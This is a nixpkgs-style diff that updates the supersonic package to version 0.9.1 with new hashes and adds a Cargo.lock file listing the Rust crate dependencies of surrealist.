a/pkgs/by-name/su/supersonic/package.nix +++ b/pkgs/by-name/su/supersonic/package.nix @@ -20,16 +20,16 @@ assert waylandSupport -> stdenv.isLinux; buildGoModule rec { pname = "supersonic" + lib.optionalString waylandSupport "-wayland"; - version = "0.9.0"; + version = "0.9.1"; src = fetchFromGitHub { owner = "dweymouth"; repo = "supersonic"; rev = "v${version}"; - hash = "sha256-QHDTbcWSEFleMsjt4BR4xt6DlqPSowUbHmi4+83c0kc="; + hash = "sha256-R9Bn+xFq8pBSuGX1okA3l/7ralKodKDxcpGov9diuxw="; }; - vendorHash = "sha256-ANVkQpCnPsRueHyxRJMY5cqMZ5Q/QMVW4KS+TFYMpUQ="; + vendorHash = "sha256-4Un1twPfjRfLVl91GqYJsyY8GbKgYoMIsdNESpumH5M="; nativeBuildInputs = [ copyDesktopItems diff --git a/pkgs/by-name/su/surrealist/Cargo.lock b/pkgs/by-name/su/surrealist/Cargo.lock new file mode 100644 index 0000000000000..fe73a7deefc47 --- /dev/null +++ b/pkgs/by-name/su/surrealist/Cargo.lock @@ -0,0 +1,3914 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "alloc-no-stdlib" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" + +[[package]] +name = "alloc-stdlib" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +dependencies = [ + "alloc-no-stdlib", +] + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anyhow" +version = "1.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" + +[[package]] +name = "ascii" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d92bec98840b8f03a5ff5413de5293bfcd8bf96467cf5452609f939ec6f5de16" + +[[package]] +name = "atk" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c3d816ce6f0e2909a96830d6911c2aff044370b1ef92d7f267b43bae5addedd" +dependencies = [ + "atk-sys", + "bitflags 1.3.2", + "glib", + "libc", +] + +[[package]] +name = "atk-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58aeb089fb698e06db8089971c7ee317ab9644bade33383f63631437b03aafb6" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + +[[package]] +name = "base64" +version = "0.21.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c79fed4cdb43e993fcdadc7e58a09fd0e3e649c4436fa11da71c9f1f3ee7feb9" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" + +[[package]] +name = "block" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "brotli" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "516074a47ef4bce09577a3b379392300159ce5b1ba2e501ff1c819950066100f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor", +] + +[[package]] +name = "brotli-decompressor" +version = "2.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "bstr" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c48f0051a4b4c5e0b6d365cd04af53aeaa209e3cc15ec2cdb69e73cc87fbd0dc" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + +[[package]] +name = "bytemuck" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cairo-rs" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c76ee391b03d35510d9fa917357c7f1855bd9a6659c95a1b392e33f49b3369bc" +dependencies = [ + "bitflags 1.3.2", + "cairo-sys-rs", + "glib", + "libc", + "thiserror", +] + +[[package]] +name = "cairo-sys-rs" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c55d429bef56ac9172d25fecb85dc8068307d17acd74b377866b7a1ef25d3c8" +dependencies = [ + "glib-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "cargo_toml" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "599aa35200ffff8f04c1925aa1acc92fa2e08874379ef42e210a80e527e60838" +dependencies = [ + "serde", + "toml 0.7.8", +] + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "libc", +] + +[[package]] +name = "cesu8" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" + +[[package]] +name = "cfb" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d38f2da7a0a2c4ccf0065be06397cc26a81f4e528be095826eee9d4adbb8c60f" +dependencies = [ + "byteorder", + "fnv", + "uuid", +] + +[[package]] +name = "cfg-expr" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3431df59f28accaf4cb4eed4a9acc66bea3f3c3753aa6cdc2f024174ef232af7" +dependencies = [ + "smallvec", +] + +[[package]] +name = "cfg-expr" +version = "0.15.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6100bc57b6209840798d95cb2775684849d332f7bd788db2a8c8caf7ef82a41a" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "num-traits", + "serde", + "windows-targets 0.48.5", +] + +[[package]] +name = "chunked_transfer" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e4de3bc4ea267985becf712dc6d9eed8b04c953b3fcfb339ebc87acd9804901" + +[[package]] +name = "cocoa" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f425db7937052c684daec3bd6375c8abe2d146dca4b8b143d6db777c39138f3a" +dependencies = [ + "bitflags 1.3.2", + "block", + "cocoa-foundation", + "core-foundation", + "core-graphics", + "foreign-types", + "libc", + "objc", +] + +[[package]] +name = "cocoa-foundation" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c6234cbb2e4c785b456c0644748b1ac416dd045799740356f8363dfe00c93f7" +dependencies = [ + "bitflags 1.3.2", + "block", + "core-foundation", + "core-graphics-types", + "libc", + "objc", +] + +[[package]] +name = "color_quant" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b" + +[[package]] +name = "combine" +version = "4.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "convert_case" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "core-graphics" +version = "0.22.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2581bbab3b8ffc6fcbd550bf46c355135d16e9ff2a6ea032ad6b9bf1d7efe4fb" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-channel" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-deque" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "cssparser" +version = "0.27.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "754b69d351cdc2d8ee09ae203db831e005560fc6030da058f86ad60c92a9cb0a" +dependencies = [ + "cssparser-macros", + "dtoa-short", + "itoa 0.4.8", + "matches", + "phf 0.8.0", + "proc-macro2", + "quote", + "smallvec", + "syn 1.0.109", +] + +[[package]] +name = "cssparser-macros" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" +dependencies = [ + "quote", + "syn 2.0.48", +] + +[[package]] +name = "ctor" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30d2b3721e861707777e3195b0158f950ae6dc4a27e4d02ff9f67e3eb3de199e" +dependencies = [ + "quote", + "syn 2.0.48", +] + +[[package]] +name = "darling" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" +dependencies = [ + "darling_core", + "darling_macro", +] + +[[package]] +name = "darling_core" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "177e3443818124b357d8e76f53be906d60937f0d3a90773a664fa63fa253e621" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn 2.0.48", +] + +[[package]] +name = "darling_macro" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" +dependencies = [ + "darling_core", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "deranged" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", + "serde", +] + +[[package]] +name = "derive_more" +version = "0.99.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321" +dependencies = [ + "convert_case", + "proc-macro2", + "quote", + "rustc_version", + "syn 1.0.109", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "dirs-next" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1" +dependencies = [ + "cfg-if", + "dirs-sys-next", +] + +[[package]] +name = "dirs-sys-next" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d" +dependencies = [ + "libc", + "redox_users", + "winapi", +] + +[[package]] +name = "dispatch" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b" + +[[package]] +name = "dtoa" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcbb2bf8e87535c23f7a8a321e364ce21462d0ff10cb6407820e8e96dfff6653" + +[[package]] +name = "dtoa-short" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbaceec3c6e4211c79e7b1800fb9680527106beb2f9c51904a3210c03a448c74" +dependencies = [ + "dtoa", +] + +[[package]] +name = "dunce" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b" + +[[package]] +name = "embed-resource" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bde55e389bea6a966bd467ad1ad7da0ae14546a5bc794d16d1e55e7fca44881" +dependencies = [ + "cc", + "memchr", + "rustc_version", + "toml 0.8.8", + "vswhom", + "winreg", +] + +[[package]] +name = "embed_plist" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7" + +[[package]] +name = "encoding_rs" +version = "0.8.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "fdeflate" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "209098dd6dfc4445aa6111f0e98653ac323eaa4dfd212c9ca3931bf9955c31bd" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "field-offset" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" +dependencies = [ + "memoffset", + "rustc_version", +] + +[[package]] +name = "filetime" +version = "0.2.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "windows-sys 0.52.0", +] + +[[package]] +name = "flate2" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843" +dependencies = [ + "mac", + "new_debug_unreachable", +] + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-executor" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + +[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-core", + "futures-macro", + "futures-task", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "fxhash" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" +dependencies = [ + "byteorder", +] + +[[package]] +name = "gdk" +version = "0.15.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6e05c1f572ab0e1f15be94217f0dc29088c248b14f792a5ff0af0d84bcda9e8" +dependencies = [ + "bitflags 1.3.2", + "cairo-rs", + "gdk-pixbuf", + "gdk-sys", + "gio", + "glib", + "libc", + "pango", +] + +[[package]] +name = "gdk-pixbuf" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad38dd9cc8b099cceecdf41375bb6d481b1b5a7cd5cd603e10a69a9383f8619a" +dependencies = [ + "bitflags 1.3.2", + "gdk-pixbuf-sys", + "gio", + "glib", + "libc", +] + +[[package]] +name = "gdk-pixbuf-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "140b2f5378256527150350a8346dbdb08fadc13453a7a2d73aecd5fab3c402a7" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "gdk-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32e7a08c1e8f06f4177fb7e51a777b8c1689f743a7bc11ea91d44d2226073a88" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "pkg-config", + "system-deps 6.2.0", +] + +[[package]] +name = "gdkwayland-sys" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cca49a59ad8cfdf36ef7330fe7bdfbe1d34323220cc16a0de2679ee773aee2c2" +dependencies = [ + "gdk-sys", + "glib-sys", + "gobject-sys", + "libc", + "pkg-config", + "system-deps 6.2.0", +] + +[[package]] +name = "gdkx11-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4b7f8c7a84b407aa9b143877e267e848ff34106578b64d1e0a24bf550716178" +dependencies = [ + "gdk-sys", + "glib-sys", + "libc", + "system-deps 6.2.0", + "x11", +] + +[[package]] +name = "generator" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cc16584ff22b460a382b7feec54b23d2908d858152e5739a120b949293bd74e" +dependencies = [ + "cc", + "libc", + "log", + "rustversion", + "windows 0.48.0", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "gio" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68fdbc90312d462781a395f7a16d96a2b379bb6ef8cd6310a2df272771c4283b" +dependencies = [ + "bitflags 1.3.2", + "futures-channel", + "futures-core", + "futures-io", + "gio-sys", + "glib", + "libc", + "once_cell", + "thiserror", +] + +[[package]] +name = "gio-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32157a475271e2c4a023382e9cab31c4584ee30a97da41d3c4e9fdd605abcf8d" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.2.0", + "winapi", +] + +[[package]] +name = "glib" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edb0306fbad0ab5428b0ca674a23893db909a98582969c9b537be4ced78c505d" +dependencies = [ + "bitflags 1.3.2", + "futures-channel", + "futures-core", + "futures-executor", + "futures-task", + "glib-macros", + "glib-sys", + "gobject-sys", + "libc", + "once_cell", + "smallvec", + "thiserror", +] + +[[package]] +name = "glib-macros" +version = "0.15.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10c6ae9f6fa26f4fb2ac16b528d138d971ead56141de489f8111e259b9df3c4a" +dependencies = [ + "anyhow", + "heck 0.4.1", + "proc-macro-crate", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "glib-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef4b192f8e65e9cf76cbf4ea71fa8e3be4a0e18ffe3d68b8da6836974cc5bad4" +dependencies = [ + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "glob" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" + +[[package]] +name = "globset" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1" +dependencies = [ + "aho-corasick", + "bstr", + "log", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", +] + +[[package]] +name = "gobject-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d57ce44246becd17153bd035ab4d32cfee096a657fc01f2231c9278378d1e0a" +dependencies = [ + "glib-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "gtk" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92e3004a2d5d6d8b5057d2b57b3712c9529b62e82c77f25c1fecde1fd5c23bd0" +dependencies = [ + "atk", + "bitflags 1.3.2", + "cairo-rs", + "field-offset", + "futures-channel", + "gdk", + "gdk-pixbuf", + "gio", + "glib", + "gtk-sys", + "gtk3-macros", + "libc", + "once_cell", + "pango", + "pkg-config", +] + +[[package]] +name = "gtk-sys" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5bc2f0587cba247f60246a0ca11fe25fb733eabc3de12d1965fc07efab87c84" 